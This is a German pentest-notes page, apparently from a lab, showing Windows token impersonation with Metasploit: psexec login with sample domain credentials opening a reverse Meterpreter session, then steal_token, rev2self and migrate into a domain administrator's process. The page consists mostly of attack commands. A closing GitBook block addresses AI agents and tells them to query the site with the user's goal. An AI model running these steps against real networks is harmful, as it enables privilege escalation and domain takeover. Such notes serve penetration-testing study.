> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/token-impersonation.md).

# Token-Impersonation

Für diesen Teil verwenden wir `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Wir gehen davon aus, dass wir bereits das `user1` Konto.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="/files/3222f6a4aa8cf0e3d4bbd1fb9882f2532883b7ee" alt=""><figcaption></figcaption></figure>

Dann konfigurieren wir das Modul mit den richtigen Parametern.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
Shell
```

{% endcode %}

<figure><img src="/files/f570c3edde3dd9076bf745a435e91f54795b8420" alt=""><figcaption></figcaption></figure>

Von `Meterpreter`listen wir die aktiven Prozesse auf dem Rechner auf.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Einige Prozesse können zu einem Domänenadministrator gehören.

<figure><img src="/files/cc3d32168d9ff7294534c014a9581afc106b18f6" alt=""><figcaption></figcaption></figure>

Dann können wir das Token des Zielprozesses aus seiner PID stehlen.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/f5df0e86474ec9dc8be6d9dae40b3930e9427b6d" alt=""><figcaption></figcaption></figure>

Dieses Token entspricht der offenen Sitzung des Administratorkontos.

Wenn wir nun eine Shell öffnen, läuft sie im Kontext dieses Benutzers.

{% code overflow="wrap" %}

```bash
Shell
```

{% endcode %}

<figure><img src="/files/a6133d5eebb4f96bad986ab921f28848f9ba951c" alt=""><figcaption></figcaption></figure>

Eine weitere Möglichkeit: unsere Last in diesen Prozess migrieren, um seinen Kontext zu übernehmen.

Falls nötig, können wir zunächst zu unserem ursprünglichen Kontext zurückkehren.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Dann starten wir die Migration zu der Ziel-PID.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/109eaf75c24ec380a17f35a8f141340e357142af" alt=""><figcaption></figcaption></figure>

Die Grenze bleibt einfach: Wenn der Prozess stirbt, fällt auch die migrierte Sitzung.

> 172.16.0.10 - Meterpreter-Sitzung 1 geschlossen. Grund: Beendet

<figure><img src="/files/4f242682b6a28f7d182181dcf276dfc41fcbe911" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
